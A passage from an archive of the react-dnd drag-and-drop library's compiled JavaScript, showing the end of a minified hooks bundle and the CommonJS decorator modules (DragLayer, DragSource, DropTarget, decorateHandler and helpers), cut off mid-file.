o=gt(),i=t.useMemo((function(){return{beginDrag:function(){var t=e.current,n=t.begin,o=t.item;if(n){var i=n(r);return c(null==i||"object"===Et(i),"dragSpec.begin() must either return an object, undefined, or null"),i||o||{}}return o||{}},canDrag:function(){return"boolean"==typeof e.current.canDrag?e.current.canDrag:"function"!=typeof e.current.canDrag||e.current.canDrag(r)},isDragging:function(t,n){var o=e.current.isDragging;return o?o(r):n===t.getSourceId()},endDrag:function(){var t=e.current.end;t&&t(r.getItem(),r),n.reconnect()}}}),[]);it((function(){var t=Pt(ht(e.current.item.type,i,o),2),a=t[0],u=t[1];return r.receiveHandlerId(a),n.receiveHandlerId(a),u}),[])}(r,i,a);var u=dt(i,r.current.collect||function(){return{}},(function(){return a.reconnect()})),s=t.useMemo((function(){return a.hooks.dragSource()}),[a]),f=t.useMemo((function(){return a.hooks.dragPreview()}),[a]);return it((function(){a.dragSourceOptions=r.current.options||null,a.reconnect()}),[a]),it((function(){a.dragPreviewOptions=r.current.previewOptions||null,a.reconnect()}),[a]),[u,s,f]},e.useDragDropManager=gt,e.useDragLayer=function(e){var r=gt().getMonitor(),n=Bt(st(r,e),2),o=n[0],i=n[1];return t.useEffect((function(){return r.subscribeToOffsetChange(i)})),t.useEffect((function(){return r.subscribeToStateChange(i)})),o},e.useDrop=function(e){var r=t.useRef(e);r.current=e,c(null!=e.accept,"accept must be defined");var n,o=Ft((n=gt(),[t.useMemo((function(){return new Ht(n)}),[n]),t.useMemo((function(){return new At(n.getBackend())}),[n])]),2),i=o[0],a=o[1];!function(e,r,n){var o=gt(),i=t.useMemo((function(){return{canDrop:function(){var t=e.current.canDrop;return!t||t(r.getItem(),r)},hover:function(){var t=e.current.hover;t&&t(r.getItem(),r)},drop:function(){var t=e.current.drop;if(t)return t(r.getItem(),r)}}}),[r]);it((function(){var t=Ut(pt(e.current.accept,i,o),2),a=t[0],u=t[1];return r.receiveHandlerId(a),n.receiveHandlerId(a),u}),[r,n])}(r,i,a);var u=dt(i,r.current.collect||function(){return{}},(function(){return a.reconnect()})),s=t.useMemo((function(){return a.hooks.dropTarget()}),[a]);return it((function(){a.dropTargetOptions=e.options||null,a.reconnect()}),[e.options]),[u,s]},Object.defineProperty(e,"__esModule",{value:!0})}));
cjs/decorators/utils.js000064400000003570151677306070011207 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.getDecoratedComponent = getDecoratedComponent;
exports.isClassComponent = isClassComponent;
exports.isRefForwardingComponent = isRefForwardingComponent;
exports.isRefable = isRefable;
exports.checkDecoratorArguments = checkDecoratorArguments;

function getDecoratedComponent(instanceRef) {
  var currentRef = instanceRef.current;

  if (currentRef == null) {
    return null;
  } else if (currentRef.decoratedRef) {
    // go through the private field in decorateHandler to avoid the invariant hit
    return currentRef.decoratedRef.current;
  } else {
    return currentRef;
  }
}

function isClassComponent(Component) {
  return Component && Component.prototype && typeof Component.prototype.render === 'function';
}

function isRefForwardingComponent(C) {
  var _item$$$typeof;

  var item = C;
  return (item === null || item === void 0 ? void 0 : (_item$$$typeof = item.$$typeof) === null || _item$$$typeof === void 0 ? void 0 : _item$$$typeof.toString()) === 'Symbol(react.forward_ref)';
}

function isRefable(C) {
  return isClassComponent(C) || isRefForwardingComponent(C);
}

function checkDecoratorArguments(functionName, signature) {
  if (process.env.NODE_ENV !== 'production') {
    for (var i = 0; i < (arguments.length <= 2 ? 0 : arguments.length - 2); i++) {
      var arg = i + 2 < 2 || arguments.length <= i + 2 ? undefined : arguments[i + 2];

      if (arg && arg.prototype && arg.prototype.render) {
        // eslint-disable-next-line no-console
        console.error('You seem to be applying the arguments in the wrong order. ' + "It should be ".concat(functionName, "(").concat(signature, ")(Component), not the other way around. ") + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#you-seem-to-be-applying-the-arguments-in-the-wrong-order');
        return;
      }
    }
  }
}cjs/decorators/DragLayer.js000064400000023630151677306070011720 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.DragLayer = DragLayer;

var React = _interopRequireWildcard(require("react"));

var _shallowequal = require("@react-dnd/shallowequal");

var _hoistNonReactStatics = _interopRequireDefault(require("hoist-non-react-statics"));

var _invariant = require("@react-dnd/invariant");

var _DndContext = require("../common/DndContext");

var _js_utils = require("../utils/js_utils");

var _utils = require("./utils");

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }

function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }

function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }

function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }

function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }

function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }

function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }

function DragLayer(collect) {
  var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
  (0, _utils.checkDecoratorArguments)('DragLayer', 'collect[, options]', collect, options);
  (0, _invariant.invariant)(typeof collect === 'function', 'Expected "collect" provided as the first argument to DragLayer to be a function that collects props to inject into the component. ', 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', collect);
  (0, _invariant.invariant)((0, _js_utils.isPlainObject)(options), 'Expected "options" provided as the second argument to DragLayer to be a plain object when specified. ' + 'Instead, received %s. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-layer', options);
  return function decorateLayer(DecoratedComponent) {
    var Decorated = DecoratedComponent;
    var _options$arePropsEqua = options.arePropsEqual,
        arePropsEqual = _options$arePropsEqua === void 0 ? _shallowequal.shallowEqual : _options$arePropsEqua;
    var displayName = Decorated.displayName || Decorated.name || 'Component';

    var DragLayerContainer =
    /** @class */
    function () {
      var DragLayerContainer = /*#__PURE__*/function (_React$Component) {
        _inherits(DragLayerContainer, _React$Component);

        var _super = _createSuper(DragLayerContainer);

        function DragLayerContainer() {
          var _this;

          _classCallCheck(this, DragLayerContainer);

          _this = _super.apply(this, arguments);
          _this.isCurrentlyMounted = false;
          _this.ref = React.createRef();

          _this.handleChange = function () {
            if (!_this.isCurrentlyMounted) {
              return;
            }

            var nextState = _this.getCurrentState();

            if (!(0, _shallowequal.shallowEqual)(nextState, _this.state)) {
              _this.setState(nextState);
            }
          };

          return _this;
        }

        _createClass(DragLayerContainer, [{
          key: "getDecoratedComponentInstance",
          value: function getDecoratedComponentInstance() {
            (0, _invariant.invariant)(this.ref.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()');
            return this.ref.current;
          }
        }, {
          key: "shouldComponentUpdate",
          value: function shouldComponentUpdate(nextProps, nextState) {
            return !arePropsEqual(nextProps, this.props) || !(0, _shallowequal.shallowEqual)(nextState, this.state);
          }
        }, {
          key: "componentDidMount",
          value: function componentDidMount() {
            this.isCurrentlyMounted = true;
            this.handleChange();
          }
        }, {
          key: "componentWillUnmount",
          value: function componentWillUnmount() {
            this.isCurrentlyMounted = false;

            if (this.unsubscribeFromOffsetChange) {
              this.unsubscribeFromOffsetChange();
              this.unsubscribeFromOffsetChange = undefined;
            }

            if (this.unsubscribeFromStateChange) {
              this.unsubscribeFromStateChange();
              this.unsubscribeFromStateChange = undefined;
            }
          }
        }, {
          key: "render",
          value: function render() {
            var _this2 = this;

            return React.createElement(_DndContext.DndContext.Consumer, null, function (_ref) {
              var dragDropManager = _ref.dragDropManager;

              if (dragDropManager === undefined) {
                return null;
              }

              _this2.receiveDragDropManager(dragDropManager); // Let componentDidMount fire to initialize the collected state


              if (!_this2.isCurrentlyMounted) {
                return null;
              }

              return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.state, {
                ref: (0, _utils.isRefable)(Decorated) ? _this2.ref : null
              }));
            });
          }
        }, {
          key: "receiveDragDropManager",
          value: function receiveDragDropManager(dragDropManager) {
            if (this.manager !== undefined) {
              return;
            }

            this.manager = dragDropManager;
            (0, _invariant.invariant)(_typeof(dragDropManager) === 'object', 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName);
            var monitor = this.manager.getMonitor();
            this.unsubscribeFromOffsetChange = monitor.subscribeToOffsetChange(this.handleChange);
            this.unsubscribeFromStateChange = monitor.subscribeToStateChange(this.handleChange);
          }
        }, {
          key: "getCurrentState",
          value: function getCurrentState() {
            if (!this.manager) {
              return {};
            }

            var monitor = this.manager.getMonitor();
            return collect(monitor, this.props);
          }
        }]);

        return DragLayerContainer;
      }(React.Component);

      DragLayerContainer.displayName = "DragLayer(".concat(displayName, ")");
      DragLayerContainer.DecoratedComponent = DecoratedComponent;
      return DragLayerContainer;
    }();

    return (0, _hoistNonReactStatics.default)(DragLayerContainer, DecoratedComponent);
  };
}cjs/decorators/DropTarget.js000064400000005512151677306070012120 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.DropTarget = DropTarget;

var _invariant = require("@react-dnd/invariant");

var _js_utils = require("../utils/js_utils");

var _registration = require("../common/registration");

var _isValidType = require("../utils/isValidType");

var _TargetConnector = require("../common/TargetConnector");

var _DropTargetMonitorImpl = require("../common/DropTargetMonitorImpl");

var _utils = require("./utils");

var _decorateHandler = require("./decorateHandler");

var _createTargetFactory = require("./createTargetFactory");

function DropTarget(type, spec, collect) {
  var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {};
  (0, _utils.checkDecoratorArguments)('DropTarget', 'type, spec, collect[, options]', type, spec, collect, options);
  var getType = type;

  if (typeof type !== 'function') {
    (0, _invariant.invariant)((0, _isValidType.isValidType)(type, true), 'Expected "type" provided as the first argument to DropTarget to be ' + 'a string, an array of strings, or a function that returns either given ' + 'the current props. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', type);

    getType = function getType() {
      return type;
    };
  }

  (0, _invariant.invariant)((0, _js_utils.isPlainObject)(spec), 'Expected "spec" provided as the second argument to DropTarget to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', spec);
  var createTarget = (0, _createTargetFactory.createTargetFactory)(spec);
  (0, _invariant.invariant)(typeof collect === 'function', 'Expected "collect" provided as the third argument to DropTarget to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect);
  (0, _invariant.invariant)((0, _js_utils.isPlainObject)(options), 'Expected "options" provided as the fourth argument to DropTarget to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drop-target', collect);
  return function decorateTarget(DecoratedComponent) {
    return (0, _decorateHandler.decorateHandler)({
      containerDisplayName: 'DropTarget',
      createHandler: createTarget,
      registerHandler: _registration.registerTarget,
      createMonitor: function createMonitor(manager) {
        return new _DropTargetMonitorImpl.DropTargetMonitorImpl(manager);
      },
      createConnector: function createConnector(backend) {
        return new _TargetConnector.TargetConnector(backend);
      },
      DecoratedComponent: DecoratedComponent,
      getType: getType,
      collect: collect,
      options: options
    });
  };
}cjs/decorators/decorateHandler.js000064400000032332151677306070013131 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.decorateHandler = decorateHandler;

var React = _interopRequireWildcard(require("react"));

var _shallowequal = require("@react-dnd/shallowequal");

var _invariant = require("@react-dnd/invariant");

var _hoistNonReactStatics = _interopRequireDefault(require("hoist-non-react-statics"));

var _DndContext = require("../common/DndContext");

var _js_utils = require("../utils/js_utils");

var _disposables = require("./disposables");

var _utils = require("./utils");

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _getRequireWildcardCache() { if (typeof WeakMap !== "function") return null; var cache = new WeakMap(); _getRequireWildcardCache = function _getRequireWildcardCache() { return cache; }; return cache; }

function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || _typeof(obj) !== "object" && typeof obj !== "function") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }

function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }

function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }

function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }

function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }

function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; }

function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }

function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }

function decorateHandler(_ref) {
  var DecoratedComponent = _ref.DecoratedComponent,
      createHandler = _ref.createHandler,
      createMonitor = _ref.createMonitor,
      createConnector = _ref.createConnector,
      registerHandler = _ref.registerHandler,
      containerDisplayName = _ref.containerDisplayName,
      getType = _ref.getType,
      collect = _ref.collect,
      options = _ref.options;
  var _options$arePropsEqua = options.arePropsEqual,
      arePropsEqual = _options$arePropsEqua === void 0 ? _shallowequal.shallowEqual : _options$arePropsEqua;
  var Decorated = DecoratedComponent;
  var displayName = DecoratedComponent.displayName || DecoratedComponent.name || 'Component';

  var DragDropContainer =
  /** @class */
  function () {
    var DragDropContainer = /*#__PURE__*/function (_React$Component) {
      _inherits(DragDropContainer, _React$Component);

      var _super = _createSuper(DragDropContainer);

      function DragDropContainer(props) {
        var _this;

        _classCallCheck(this, DragDropContainer);

        _this = _super.call(this, props);
        _this.decoratedRef = React.createRef();

        _this.handleChange = function () {
          var nextState = _this.getCurrentState();

          if (!(0, _shallowequal.shallowEqual)(nextState, _this.state)) {
            _this.setState(nextState);
          }
        };

        _this.disposable = new _disposables.SerialDisposable();

        _this.receiveProps(props);

        _this.dispose();

        return _this;
      }

      _createClass(DragDropContainer, [{
        key: "getHandlerId",
        value: function getHandlerId() {
          return this.handlerId;
        }
      }, {
        key: "getDecoratedComponentInstance",
        value: function getDecoratedComponentInstance() {
          (0, _invariant.invariant)(this.decoratedRef.current, 'In order to access an instance of the decorated component, it must either be a class component or use React.forwardRef()');
          return this.decoratedRef.current;
        }
      }, {
        key: "shouldComponentUpdate",
        value: function shouldComponentUpdate(nextProps, nextState) {
          return !arePropsEqual(nextProps, this.props) || !(0, _shallowequal.shallowEqual)(nextState, this.state);
        }
      }, {
        key: "componentDidMount",
        value: function componentDidMount() {
          this.disposable = new _disposables.SerialDisposable();
          this.currentType = undefined;
          this.receiveProps(this.props);
          this.handleChange();
        }
      }, {
        key: "componentDidUpdate",
        value: function componentDidUpdate(prevProps) {
          if (!arePropsEqual(this.props, prevProps)) {
            this.receiveProps(this.props);
            this.handleChange();
          }
        }
      }, {
        key: "componentWillUnmount",
        value: function componentWillUnmount() {
          this.dispose();
        }
      }, {
        key: "receiveProps",
        value: function receiveProps(props) {
          if (!this.handler) {
            return;
          }

          this.handler.receiveProps(props);
          this.receiveType(getType(props));
        }
      }, {
        key: "receiveType",
        value: function receiveType(type) {
          if (!this.handlerMonitor || !this.manager || !this.handlerConnector) {
            return;
          }

          if (type === this.currentType) {
            return;
          }

          this.currentType = type;

          var _registerHandler = registerHandler(type, this.handler, this.manager),
              _registerHandler2 = _slicedToArray(_registerHandler, 2),
              handlerId = _registerHandler2[0],
              unregister = _registerHandler2[1];

          this.handlerId = handlerId;
          this.handlerMonitor.receiveHandlerId(handlerId);
          this.handlerConnector.receiveHandlerId(handlerId);
          var globalMonitor = this.manager.getMonitor();
          var unsubscribe = globalMonitor.subscribeToStateChange(this.handleChange, {
            handlerIds: [handlerId]
          });
          this.disposable.setDisposable(new _disposables.CompositeDisposable(new _disposables.Disposable(unsubscribe), new _disposables.Disposable(unregister)));
        }
      }, {
        key: "dispose",
        value: function dispose() {
          this.disposable.dispose();

          if (this.handlerConnector) {
            this.handlerConnector.receiveHandlerId(null);
          }
        }
      }, {
        key: "getCurrentState",
        value: function getCurrentState() {
          if (!this.handlerConnector) {
            return {};
          }

          var nextState = collect(this.handlerConnector.hooks, this.handlerMonitor, this.props);

          if (process.env.NODE_ENV !== 'production') {
            (0, _invariant.invariant)((0, _js_utils.isPlainObject)(nextState), 'Expected `collect` specified as the second argument to ' + '%s for %s to return a plain object of props to inject. ' + 'Instead, received %s.', containerDisplayName, displayName, nextState);
          }

          return nextState;
        }
      }, {
        key: "render",
        value: function render() {
          var _this2 = this;

          return React.createElement(_DndContext.DndContext.Consumer, null, function (_ref2) {
            var dragDropManager = _ref2.dragDropManager;

            _this2.receiveDragDropManager(dragDropManager);

            if (typeof requestAnimationFrame !== 'undefined') {
              requestAnimationFrame(function () {
                var _this2$handlerConnect;

                return (_this2$handlerConnect = _this2.handlerConnector) === null || _this2$handlerConnect === void 0 ? void 0 : _this2$handlerConnect.reconnect();
              });
            }

            return React.createElement(Decorated, Object.assign({}, _this2.props, _this2.getCurrentState(), {
              // NOTE: if Decorated is a Function Component, decoratedRef will not be populated unless it's a refforwarding component.
              ref: (0, _utils.isRefable)(Decorated) ? _this2.decoratedRef : null
            }));
          });
        }
      }, {
        key: "receiveDragDropManager",
        value: function receiveDragDropManager(dragDropManager) {
          if (this.manager !== undefined) {
            return;
          }

          (0, _invariant.invariant)(dragDropManager !== undefined, 'Could not find the drag and drop manager in the context of %s. ' + 'Make sure to render a DndProvider component in your top-level component. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/troubleshooting#could-not-find-the-drag-and-drop-manager-in-the-context', displayName, displayName);

          if (dragDropManager === undefined) {
            return;
          }

          this.manager = dragDropManager;
          this.handlerMonitor = createMonitor(dragDropManager);
          this.handlerConnector = createConnector(dragDropManager.getBackend());
          this.handler = createHandler(this.handlerMonitor, this.decoratedRef);
        }
      }]);

      return DragDropContainer;
    }(React.Component);

    DragDropContainer.DecoratedComponent = DecoratedComponent;
    DragDropContainer.displayName = "".concat(containerDisplayName, "(").concat(displayName, ")");
    return DragDropContainer;
  }();

  return (0, _hoistNonReactStatics.default)(DragDropContainer, DecoratedComponent);
}cjs/decorators/index.js000064400000002307151677306070011153 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});

var _DragSource = require("./DragSource");

Object.keys(_DragSource).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _DragSource[key];
    }
  });
});

var _DropTarget = require("./DropTarget");

Object.keys(_DropTarget).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _DropTarget[key];
    }
  });
});

var _DragLayer = require("./DragLayer");

Object.keys(_DragLayer).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _DragLayer[key];
    }
  });
});

var _interfaces = require("./interfaces");

Object.keys(_interfaces).forEach(function (key) {
  if (key === "default" || key === "__esModule") return;
  Object.defineProperty(exports, key, {
    enumerable: true,
    get: function get() {
      return _interfaces[key];
    }
  });
});cjs/decorators/DragSource.js000064400000005777151677306070012120 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.DragSource = DragSource;

var _invariant = require("@react-dnd/invariant");

var _js_utils = require("../utils/js_utils");

var _utils = require("./utils");

var _decorateHandler = require("./decorateHandler");

var _registration = require("../common/registration");

var _DragSourceMonitorImpl = require("../common/DragSourceMonitorImpl");

var _SourceConnector = require("../common/SourceConnector");

var _isValidType = require("../utils/isValidType");

var _createSourceFactory = require("./createSourceFactory");

/**
 * Decorates a component as a dragsource
 * @param type The dragsource type
 * @param spec The drag source specification
 * @param collect The props collector function
 * @param options DnD options
 */
function DragSource(type, spec, collect) {
  var options = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {};
  (0, _utils.checkDecoratorArguments)('DragSource', 'type, spec, collect[, options]', type, spec, collect, options);
  var getType = type;

  if (typeof type !== 'function') {
    (0, _invariant.invariant)((0, _isValidType.isValidType)(type), 'Expected "type" provided as the first argument to DragSource to be ' + 'a string, or a function that returns a string given the current props. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', type);

    getType = function getType() {
      return type;
    };
  }

  (0, _invariant.invariant)((0, _js_utils.isPlainObject)(spec), 'Expected "spec" provided as the second argument to DragSource to be ' + 'a plain object. Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', spec);
  var createSource = (0, _createSourceFactory.createSourceFactory)(spec);
  (0, _invariant.invariant)(typeof collect === 'function', 'Expected "collect" provided as the third argument to DragSource to be ' + 'a function that returns a plain object of props to inject. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect);
  (0, _invariant.invariant)((0, _js_utils.isPlainObject)(options), 'Expected "options" provided as the fourth argument to DragSource to be ' + 'a plain object when specified. ' + 'Instead, received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', collect);
  return function decorateSource(DecoratedComponent) {
    return (0, _decorateHandler.decorateHandler)({
      containerDisplayName: 'DragSource',
      createHandler: createSource,
      registerHandler: _registration.registerSource,
      createConnector: function createConnector(backend) {
        return new _SourceConnector.SourceConnector(backend);
      },
      createMonitor: function createMonitor(manager) {
        return new _DragSourceMonitorImpl.DragSourceMonitorImpl(manager);
      },
      DecoratedComponent: DecoratedComponent,
      getType: getType,
      collect: collect,
      options: options
    });
  };
}cjs/decorators/createSourceFactory.js000064400000007572151677306070014031 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.createSourceFactory = createSourceFactory;

var _invariant = require("@react-dnd/invariant");

var _js_utils = require("../utils/js_utils");

var _utils = require("./utils");

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var ALLOWED_SPEC_METHODS = ['canDrag', 'beginDrag', 'isDragging', 'endDrag'];
var REQUIRED_SPEC_METHODS = ['beginDrag'];

var SourceImpl = /*#__PURE__*/function () {
  function SourceImpl(spec, monitor, ref) {
    var _this = this;

    _classCallCheck(this, SourceImpl);

    this.props = null;

    this.beginDrag = function () {
      if (!_this.props) {
        return;
      }

      var item = _this.spec.beginDrag(_this.props, _this.monitor, _this.ref.current);

      if (process.env.NODE_ENV !== 'production') {
        (0, _invariant.invariant)((0, _js_utils.isPlainObject)(item), 'beginDrag() must return a plain object that represents the dragged item. ' + 'Instead received %s. ' + 'Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source', item);
      }

      return item;
    };

    this.spec = spec;
    this.monitor = monitor;
    this.ref = ref;
  }

  _createClass(SourceImpl, [{
    key: "receiveProps",
    value: function receiveProps(props) {
      this.props = props;
    }
  }, {
    key: "canDrag",
    value: function canDrag() {
      if (!this.props) {
        return false;
      }

      if (!this.spec.canDrag) {
        return true;
      }

